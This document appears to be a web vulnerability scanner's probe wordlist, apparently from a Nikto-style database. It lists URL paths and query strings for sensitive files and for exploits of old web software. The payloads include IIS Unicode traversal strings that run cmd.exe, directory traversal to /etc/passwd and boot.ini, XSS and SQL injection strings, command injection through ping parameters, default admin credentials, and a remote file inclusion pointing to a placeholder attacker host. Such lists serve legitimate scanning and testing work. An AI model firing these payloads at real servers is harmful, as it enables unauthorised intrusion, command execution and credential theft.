/cgi-bin/FtpSave.dll?I'm%20Here\nintranet/browse.php\ninvitefriends.php3\nip.txt\nipchat.php\nisapi/count.pl?\nisapi/tstisapi.dll\nisc\nisqlplus\nix\nixmail_netattach.php\nj\njamdb/\njava-plugin/\njava-sys/\njavadoc/\njavapg.nsf\njavax\njgb_eng_php3/cfooter.php3\njigsaw/\njotter.nsf\njservdocs/\njsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../boot.ini\njsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../etc/passwd\njsp/jspsamp/jspexamples/viewsource.jsp?source=/../../../../../../../../../boot.ini\njsp/jspsamp/jspexamples/viewsource.jsp?source=/../../../../../../../../../etc/passwd\njspdocs/\njsptest.jsp+\njunk.aspx\nk/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor\nkbccv11.nsf\nkbnv11.nsf\nkboard/\nkbssvv11.nsf\nkernel/class/delete.php\nkernel/classes/ezrole.php\nkrysalis/\nkstats\nl_domlog.nsf\nlassifieds.cgi\nlccon.nsf\nlcgi/lcgitest.nlm\nlcgi/ndsobj.nlm\nlcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/jabber/comment2.jse+/system/autoexec.ncf\nlcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse\nlcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/autoexec.ncf\nlcgi/sys:/novonyx/suitespot/docs/sewse/misc/test.jse\nlcon.nsf\nld\nldap.nsf\nldap.search.php3?ldap_serv=nonsense%20\nleiadm.nsf\nleilog.nsf\nleivlt.nsf\nlevel/42/exec/show%20conf\nlimpse\nlists/admin/\nlivredor/index.php\nlocal/httpd$map.conf\nlocalstart.asp\nlog.cgi\nlog.htm\nlog.html\nlog.nsf\nlog.php\nlog.php3\nlog.shtml\nlog.txt\nlog4a.nsf\nlogbook.pl?file=../../../../../../../bin/cat%20/etc/passwd%00|\nlogfile\nlogfile.htm\nlogfile.html\nlogfile.txt\nlogger.html\nlogicworks.ini\nlogin.asp%3F+.htr\nlogin.jsp\nlogin.php3?reason=chpass2%20\nlogin.php?sess=your_session_id&abt=&new_lang=99999&caller=navlang\nlogin/sm_login_screen.php?error=\\\nlogin/sm_login_screen.php?uid=\\\nlogins.html\nlogjam/showhits.php\nlogs.htm\nlogs.html\nlogs.php\nlogs.php3\nlogs.shtml\nlogs/access_log\nlpt9\nlpt9.xtp\nlsxlc.nsf\nmab.nsf\nmail.box\nmail/adminisist.nsf\nmail/include.html\nmail/settings.html\nmail/src/read_body.php\nmail1.box\nmail10.box\nmail2.box\nmail3.box\nmail4.box\nmail5.box\nmail6.box\nmail7.box\nmail8.box\nmail9.box\nmailman/admin/ml-name?\\\nmailman/options/yourlist?language=en&email=&lt;SCRIPT&gt;alert('Vulnerable')&lt;/SCRIPT&gt;\nmailview.cgi?cmd=view&amp;fldrname=inbox&amp;select=1&amp;html=../../../../../../etc/passwd\nmailw46.nsf\nmain.asp%2e\nmain.asp%2e%41sp\nmain.asp%81\nmain.asp+.htr\nmain.asp.\nmain.asp::$DATA\nmain.asp\\\\\nmain_page.php\nmall_log_files/order.log\nmambo/administrator/phpinfo.php\nmambo/banners.php\nmambo/index.php?Itemid=JUNK(5)\nmanage/cgi/cgiproc\nmanage/login.asp+\nmantis/summary_graph_functions.php?g_jpgraph_path=http%3A%2F%2Fattackershost%2Flistings.txt%3F\nmanual.php\nmanual/ag/esperfrm.htm\nmanual/images/\nmanual/servlets/scripts/servlet1/servform.htm\nmanual/servlets/scripts/shoes/shoeform.htm\nmarket/\nmaster.password\nmc-icons/\nmcartfree/database/metacart.mdb\nmegabook/files/20/setup.db\nmembers.asp?SF=%22;}alert('Vulnerable');function%20x(){v%20=%22\nmembers/ID.pm\nmembers/ID.xbb\nmetacart/database/metacart.mdb\nmg\nmgs\nmidicart.mdb\nmigrate.nsf\nmlog.html\nmlog.phtml\nmod.php\nmod_ose_docs\nmodif/delete.php\nmodif/ident.php\nmodif_infos.asp?n=%60/etc/passwd%60\nmodif_infos.asp?n=....//....//....//....//....//....//....//etc.passwd\nmodif_infos.asp?n=../../../../../../../../../etc/passwd%00\nmodif_infos.asp?n=/....../boot.ini\nmodif_infos.asp?n=/.../.../.../.../.../.../boot.ini\nmodif_infos.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini\nmodif_infos.asp?n=/../../../../../../../../../etc/passwd\nmodif_infos.asp?n=/.\\\nmodif_infos.asp?n=/etc/passwd\nmodif_infos.asp?n=/etc/passwd%00\nmodif_infos.asp?n=c:\\boot.ini\nmodsecurity.php\nmodules.php?name=Downloads&d_op=viewdownload\nmodules.php?name=Members_List&letter=All&sortby=pass\nmodules.php?name=Members_List&sql_debug=1\nmodules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid\nmodules.php?op=modload&name=0&file=0\nmodules.php?op=modload&name=Sections&file=index&req=viewarticle&artid=\nmodules.php?op=modload&name=Web_Links&file=index&l_op=viewlink\nmodules.php?set_albumName=album01&id=aaw&op=modload&name=gallery&file=index&include=../../../../../../../../../etc/passwd\nmodules/Downloads/voteinclude.php+\nmodules/Forums/attachment.php\nmodules/Forums/bb_smilies.php?bgcolor1=\\\nmodules/Search/index.php\nmodules/WebChat/in.php+\nmodules/WebChat/out.php\nmodules/WebChat/quit.php\nmodules/WebChat/users.php\nmodules/Your_Account/navbar.php+\nmoregroupware/modules/webmail2/inc/\nmp3/\nmpcsoftweb_guestbook/database/mpcsoftweb_guestdata.mdb\nmrtg/\nmsadc\nmsadc/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\" & vbCrLf & vbCrLf\nmsadc/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nmsadc/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nmsadc/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nmsadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nmsadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ \nmsadc/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nmsadc/..%%35%63../winnt/system32/cmd.exe?/c+dir\nmsadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ \nmsadc/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%%35c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ \nmsadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nmsadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ \nmsadc/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nmsadc/..%25%35%63../winnt/system32/cmd.exe?/c+dir\nmsadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir\nmsadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \nmsadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c\nmsadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ \nmsadc/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%255c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \nmsadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir\nmsadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \nmsadc/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nmsadc/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nmsadc/..%u002f../winnt/system32/cmd.exe?/c+dir\nmsadc/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nmsadc/..%u005c../winnt/system32/cmd.exe?/c+dir\nmsadc/../../../../winnt/system32/cmd.exe?/c+dir\nmsadc/../../../../winnt/system32/cmd.exe?/c+dir%20c:\\\nmsadc/..\\%e0\\%80\\%af../..\\%e0\\%80\\%af../..\\%e0\\%80\\%af../winnt/system32/cmd.exe\\?/c\\+dir+c:\\ \nmsadc/..\\../..\\../..\\../winnt/system32/cmd.exe?/c+dir\nmsadc/..\\../..\\../..\\../winnt/system32/cmd.exe?/c+dir%20c:\\\nmsadc/..\\..\\..\\../winnt/system32/cmd.exe?/c+dir\nmsadc/..\\..\\..\\../winnt/system32/cmd.exe?/c+dir%20c:\\\nmsadc/.._../winnt/system32/cmd.exe?/c+dir\nmsadc/Samples/SELECTOR/codebrws.cfm\nmsadc/Samples/SELECTOR/showcode.asp?|-|0|404_Object_Not_Found\nmsadc/Samples/selector/showcode.asp?source=/msadc/Samples/../../../../../../../../../winnt/win.ini\nmsadc/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nmsadc/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\nmsadc/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\nmsadc/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\nmsadc/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\nmsadc/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\nmsadc/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\nmsadc/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\nmsadc/msadcs.dll\nmsadc/samples/adctest.asp\nmsadc/samples/selector/showcode.asp\nmsadc/samples/selector/showcode.asp_2\nmsadm/domain/index.php3?account_name=\\\nmsadm/site/index.php3?authid=\\\nmsadm/user/login.php3?account_name=\\\nmsads/Samples/SELECTOR/showcode.asp\nmsdac/root.exe?/c+dir+c:\\ \nmsdwda.nsf\nmspress30/\nmsql/\nmtatbls.nsf\nmtdata/mtstore.nsf\nmtstore.nsf\nmusicqueue.cgi\nmyguestBk/add1.asp?|-|0|404_Object_Not_Found\nmyguestBk/admin/delEnt.asp?id=NEWSNUMBER|-|0|404_Object_Not_Found\nmyguestBk/admin/index.asp?|-|0|404_Object_Not_Found\nmyinvoicer/config.inc\nmylog.phtml?screen=/etc/passwd\nmyphpnuke/links.php\nmysql/\nmysql/db_details_importdocsql.php?submit_show=true&do=import&docpath=../../../../../../../etc\nnForm2\nna_admin/\nnames.nsf\nnbform.cgi\nncl_items.html\nncl_items.html?SUBJECT=2097\nncl_items.shtml?SUBJECT=1\nncludes\nnetbasic/websinfo.bas\nnetget?sid=Safety&amp;msg=2002&amp;file=Safety\nnetget?sid=user&msg=300&file=../../../../../../../../../../etc/passwd\nnetget?sid=user&msg=300&file=../../../../../../../../../boot.ini\nnethome/\nnews/news.mdb\nnewtopic.php\nnewuser?Image=../../database/rbsserv.mdb\nnfo\nnfo2www\nnikto.ida\nnlg1.1\nnntp/nd000000.nsf\nnntp/nd000001.nsf\nnntp/nd000002.nsf\nnntp/nd000003.nsf\nnntp/nd000004.nsf\nnntppost.nsf\nnode/view/666\\\nnofile.pl\nnotes.nsf\nnph-showlogs.pl?files=../../../../../../../../etc/&filter=.*&submit=Go&linecnt=500&refresh=0\nnph-showlogs.pl?files=../../../../../../../../etc/passwd&filter=.*&submit=Go&linecnt=500&refresh=0\nnphp/nphpd.php\nnpn_admn.nsf\nnpn_rn.nsf\nns-icons/\nnsn/..%5Cutil/dir.bas\nnsn/..%5Cutil/dsbrowse.bas\nnsn/..%5Cutil/slist.bas\nnsn/env.bas\nnsn/fdir.bas\nnsn/fdir.bas:ShowVolume\nnternal\nntsync4.nsf\nntsync45.nsf\nnuke/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid\nnul..cfm\nnul..dbm\nnul.cfm\nnul.dbm\nnull.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full\nnull.htw?CiWebHitsFile=/index.asp%20&CiRestriction=none&CiHiliteType=Full\nnull.ida\nnull.idc\nnull.idq\nnumber/\nnviron.cgi\nnyForm2\noc/Search/SQLQHit.asp\noc/Search/sqlqhit.asp\node\noekaki/\noem_webstage/cgi-bin/oemapp_cgi\noem_webstage/oem.conf\nofficescan/cgi/cgiChkMasterPwd.exe\nofficescan/cgi/jdkRqNotify.exe\nofficescan/hotdownload/ofscan.ini\nojspdemos/basic/hellouser/hellouser.jsp\nojspdemos/basic/simple/usebean.jsp\nojspdemos/basic/simple/welcomeuser.jsp\nonspass.chl+\nopen?\nopendir.php?/etc/passwd\nopendir.php?requesturl=/etc/passwd\noprocmgr-status\noptions.inc.php+\norder/order.log\norder/order_log.dat\norder/order_log_v12.dat\norders/checks.txt\norders/import.txt\norders/mountain.cfg\norders/order.log\norders/order_log.dat\norders/order_log_v12.dat\norders/orders.txt\noscommerce/default.php\nows-bin/oaskill.exe?abcde.exe\nows-bin/oasnetconf.exe?-l%20-s%20BlahBlah\nows-bin/perlidlc.bat?&dir\nows/restricted%2eshow\npafiledb/includes/team/file.php\npage.cgi?../../../../../../../../../../etc/passwd\npages/htmlos/%3Cscript%3Ealert('Vulnerable');%3C/script%3E\nparse_xml.cgi\npass.txt\npass_done.php\npasswd\npasswd.txt\npasswdfile\npassword\npassword.dat\npassword.inc\npassword.log\npassword.txt\npasswords.txt\npath/nw/article.php?id='\npbserver/\npbserver/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir\npbserver/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir\npbserver/pbserver.dll\npccsmysqladm/incs/dbconnect.inc\npds/\npeople.lst\nperl\nperl/\nperl/-e%20%22system('cat%20/etc/passwd');\\%22\nperl/-e%20print%20Hello\nperl/env.pl\nperl/files.pl\nperl/samples/env.pl\nperl/samples/lancgi.pl\nperl/samples/ndslogin.pl\nperl/samples/volscgi.pl\nperl5/files.pl\nperweb.nsf\npforum/edituser.php?boardid=&agree=1&username=%3Cscript%3Ealert('Vulnerable')%3C/script%3E&nickname=test&email=test@example.com&pwd=test&pwd2=test&filled=1\nph-publish\nph-test-cgi\nphorum/admin/stats.php\nphoto/manage.cgi\nphoto_album/\nphotodata/manage.cgi\nphp-coolfile/action.php?action=edit&file=config.php\nphp.cgi\nphp.ini\nphp/device/this.LCDispatcher\nphp/gaestebuch/admin/index.php\nphp/index.php\nphp/mlog.phtml\nphp/mylog.phtml?screen=/etc/passwd\nphp/php.exe?c:\\boot.ini\nphp/php.exe?c:\\winnt\\boot.ini\nphp/php4ts.dll\nphpBB/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK\nphpBB/phpinfo.php\nphpBB/viewtopic.php?t=17071&highlight=\\\nphpBB2/includes/db.php\nphpBB2/search.php?search_id=1\\\nphpEventCalendar/file_upload.php\nphpimageview.php?pic=javascript:alert('Vulnerable')\nphpinfo.php\nphpinfo.php3\nphpmyadmin/db_details_importdocsql.php?submit_show=true&do=import&docpath=../../../../../../../etc\nphpnuke/html/.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid\nphpnuke/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid\nphpping/index.php?pingto=www.test.com%20|%20dir%20c:\\\nphprank/add.php?page=add&spass=1&name=2&siteurl=3&email=%3Cscript%3Ealert(Vulnerable)%3C/script%3E\nphprocketaddin/?page=../../../../../../../../../../boot.ini\nphprocketaddin/?page=../../../../../../../../../../etc/passwd\nphpshare/phpshare.php\nphptonuke.php?filnavn=/etc/passwd\nphpwebfilemgr/index.php?f=../../../../../../../../../etc\nphpwebfilemgr/index.php?f=../../../../../../../../../etc/passwd\nphpwebsite/index.php?module=calendar&calendar[view]=day&month=2&year=2003&day=1+%00\\\nphpwebsite/index.php?module=calendar&calendar[view]=day&year=2003%00-1&month=\nphpwebsite/index.php?module=fatcat&fatcat[user]=viewCategory&fatcat_id=1%00+\\\nphpwebsite/index.php?module=pagemaster&PAGE_user_op=view_page&PAGE_id=10\\\nphpwebsite/index.php?module=search&SEA_search_op=continue&PDA_limit=10\\\nping\npks/lookup\nploader.exe\npls/admin\npls/portal30/admin_/\npls/sample/admin_/help/..%255cplsql.conf\npls/simpledad/admin_/\npls/simpledad/admin_/adddad.htm?%3CADVANCEDDAD%3E\npls/simpledad/admin_/dadentries.htm\npls/simpledad/admin_/gateway.htm?schema=sample\npls/simpledad/admin_/globalsettings.htm\npm.php?function=sendpm&to=VICTIM&subject=SUBJECT&images=javascript:alert('Vulnerable')&message=MESSAGE&submitpm=Submit\npm/lib.inc.php\npmlite.php\npms.php?action=send&recipient=DESTINATAIRE&subject=happy&posticon=javascript:alert('Vulnerable')&mode=0&message=Hello\npoppassd.php3+\nporn/\npostnuke/html/index.php?module=My_eGallery\npostnuke/index.php?module=My_eGallery\npostnuke/modules.php?op=modload&name=Web_Links&file=index&req=viewlinkdetails&lid=666&ttitle=Mocosoft Utilities\\\npowerportal/\npp.php?action=login\npr0n/\nprd.i/pgen/\nprivate\nprivate.nsf\nprocess_bug.cgi\nproduccart/pdacmin/login.asp?|-|0|404_Object_Not_Found\nproduct_info.php\nproductcart/database/EIPC.mdb\nproductcart/pc/Custva.asp?|-|0|404_Object_Not_Found\nprofile.php?u=JUNK(8)\nproject/index.php?m=projects&user_cookie=1\nprometheus-all/index.php\npron/\nproplus/admin/login.php+-d+\\\nprotected/\nprotected/secret.html+\nprotectedpage.php?uid=&#039;%20OR%20&#039;&#039;=&#039;&amp;pwd=&#039;%20OR%20&#039;&#039;=&#039;\nprotection.php\nproxy/ssllogin?user=administrator&password=administrator\nproxy/ssllogin?user=administrator&password=operator\nproxy/ssllogin?user=administrator&password=user\nprxdocs/misc/prxrch.idq?CiTemplate=../../../../../../../../../../winnt/win.ini\npt_config.inc\npub/english.cgi?op=rmail\npublic.nsf\npublisher/\nput/cgi-bin/putport.exe?SWAP&BOM&OP=none&Lang=en-US&PutHtml=../../../../../../../../etc/passwd\npvote/add.php?question=AmIgAy&amp;o1=yes&amp;o2=yeah&amp;o3=well..yeah&amp;o4=bad%20\npvote/ch_info.php?newpass=password&confirm=password%20\npvote/del.php?pollorder=1%20\npw/storemgr.pw\npwd.db\npython\nqpadmin.nsf\nquery.idq?CiTemplate=../../../../../../../../../../winnt/win.ini\nquickplace/quickplace/main.nsf\nquickstart/qstart50.nsf\nquickstart/wwsample.nsf\nquikmail/nph-emumail.cgi?type=../%00\nquikstore.cfg\nquikstore.cgi\nrap\nrc\nreadme\nreadme.eml\nreadme.nsf\nreadme.txt\nreadmec.nsf\nreadmes.nsf\nredir.cgi\nredir.pl\nredirect.cgi\nredirect.pl\nreports.nsf\nrightfax/fuwww.dll\nrightfax/fuwww.dll/\nrobots.txt\nroom/save_item.php\nrpc/..%255c..%255cwinnt/system32/cmd.exe?/c+dir\nrpc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir\nrtm.log\nrubrique.asp?no=/.\\\nsam\nsam._\nsam.bin\nsample.asp\nsample/faqw46\nsample/framew46\nsample/pagesw46\nsample/siregw46\nsample/site1w4646\nsample/site2w4646\nsample/site3w4646\nsamples/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nsamples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nsamples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nsamples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \nsamples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \nsamples/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\nsamples/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nsamples/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nsamples/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nsamples/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\nsamples/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\nsamples/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\nsamples/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\nsamples/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\nsamples/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\nsamples/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\nsamples/search/queryhit.htm\nsca/menu.jsp\nschema50.nsf\nscozbook/view.php?PG=whatever\nscreen.php\nscript/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nscript/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nscript/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nscript/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nscript/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nscript/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir\nscript/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nscript/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nscript/.._../winnt/system32/cmd.exe?/c+dir\nscripts\nscripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/*\nscripts/*.pl\nscripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\" & vbCrLf & vbCrLf\nscripts/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nscripts/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nscripts/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\nscripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\nscripts/..%%35%63../..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\nscripts/..%%35%63../winnt/system32/cmd.exe?/c+dir\nscripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\nscripts/..%%35c../..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\nscripts/..%%35c../winnt/system32/cmd.exe?/c+dir\nscripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\nscripts/..%25%35%63../..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\nscripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir\nscripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir\nscripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir\nscripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ver\nscripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\nscripts/..%255c../..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\nscripts/..%255c../winnt/system32/cmd.exe?/c+dir\nscripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%c0%af../winnt/system32/cmd.exe?/c+dir\nscripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir\nscripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\\nscripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\\nscripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ \nscripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\\nscripts/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir\nscripts/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir\nscripts/..%u00255c../..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\nscripts/..%u00255c../winnt/system32/cmd.exe?/c+dir\nscripts/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\nscripts/..%u002f../..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\nscripts/..%u002f../winnt/system32/cmd.exe?/c+dir\nscripts/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nscripts/..%u005c../..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\nscripts/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\nscripts/..%u005c../winnt/system32/cmd.exe?/c+dir\nscripts/../../../../../winnt/system32/cmd.exe?/c+dir\nscripts/../../../../../winnt/system32/cmd.exe?/c+dir%20c:\\\nscripts/../../cmd.exe\nscripts/../../winnt/system32/cmd.exe?/c+dir\nscripts/..\\../winnt/system32/cmd.exe?/c+dir%20c:\\\nscripts/..\\..\\..\\..\\../winnt/system32/cmd.exe?/c+dir\nscripts/..\\..\\..\\..\\../winnt/system32/cmd.exe?/c+dir%20c:\\\nscripts/.._../winnt/system32/cmd.exe?/c+dir\nscripts/CGImail.exe\nscripts/Carello/Carello.dll\nscripts/Carello/add.exe\nscripts/Fpadmcgi.exe \nscripts/GW5/GWWEB.EXE\nscripts/IISADMPWD \nscripts/admin.pl\nscripts/bbs.pl%3F+.htr\nscripts/c32web.exe\nscripts/c32web.exe/ChangeAdminPassword\nscripts/cart32.exe\nscripts/cart32.exe/cart32clientlist\nscripts/cfgwiz.exe\nscripts/cgimail.exe\nscripts/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c%20dir%20C:\\\nscripts/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c%20dir%20C:\\\nscripts/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c%20dir%20C:\\\nscripts/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c%20dir%20C:\\\nscripts/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c%20dir%20C:\\\nscripts/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c%20dir%20C:\\\nscripts/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c%20dir%20C:\\\nscripts/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c%20dir%20C:\\\nscripts/cmd.exe\nscripts/cmd.exe?/c+dir%20c:\\\nscripts/cmd32.exe\nscripts/cmd32.exe?/c+dir\nscripts/contents.htm\nscripts/convert.bas\nscripts/counter.exe\nscripts/cphost.dll\nscripts/cpshost.dll\nscripts/db4web_c.exe/dbdirname/c%3A%5Cboot.ini\nscripts/dbman/db.cgi?db=invalid-db\nscripts/dmailweb.exe\nscripts/dnewsweb.exe\nscripts/emurl/RECMAN.dll\nscripts/environ.pl\nscripts/fpadmcgi.exe\nscripts/fpadmin.htm\nscripts/fpcount.exe\nscripts/fpremadm.exe\nscripts/fpsrvadm.exe\nscripts/gupcgi.exe\nscripts/htimage.exe\nscripts/httpodbc.dll\nscripts/iisadmin \nscripts/iisadmin/bdir.htr\nscripts/iisadmin/default.htm \nscripts/iisadmin/ism.dll\nscripts/iisadmin/ism.dll?http/dir\nscripts/iisadmin/samples \nscripts/iisadmin/tools 